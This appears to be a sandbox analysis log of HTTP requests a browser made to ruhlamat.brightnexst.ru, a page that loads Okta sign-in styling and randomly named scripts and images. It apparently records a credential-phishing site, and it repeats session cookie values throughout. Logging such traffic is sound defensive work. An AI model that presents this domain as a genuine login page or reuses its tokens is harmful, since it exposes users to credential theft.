XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveOrigin: https://ruhlamat.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250318T081010Z&X-Amz-Expires=300&X-Amz-Signature=9f42f080fc18b0f3b202a2b7bd6fcf295594939e561ecba96a28e4da554d758d&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveOrigin: https://ruhlamat.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveOrigin: https://ruhlamat.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34H9Hmi2CBmkRWQZsuLXGbWkll8ZDdajZr67110 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijQimRjvEIEw9yIUdYsBmw6ZbWvqrwMQaqS9oDEx5NauoRJxDSeg2yaTRjyz228 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klRWqE1dKIodhWl4TpdaxFJijhYuapwgllaKZfmtQJkSm0tLq8uv214 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxA8tGXS8USTA11kbQFNeTbOjwoppTu7enAWm5T12130 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opWaiTCMaxXhMYuMuKq4fyg9efmoN09n7uh9VoFQr45139 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnvoI3jENylyQfjRcA5vH8xwSMhVPXDuvIEvPI1x5f9ROzl178145 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijvJAsdEtsvgWkYF3OVUH1byu2l11hVwxIqKAzqO6JTxp3AT78168 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klRWqE1dKIodhWl4TpdaxFJijhYuapwgllaKZfmtQJkSm0tLq8uv214 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
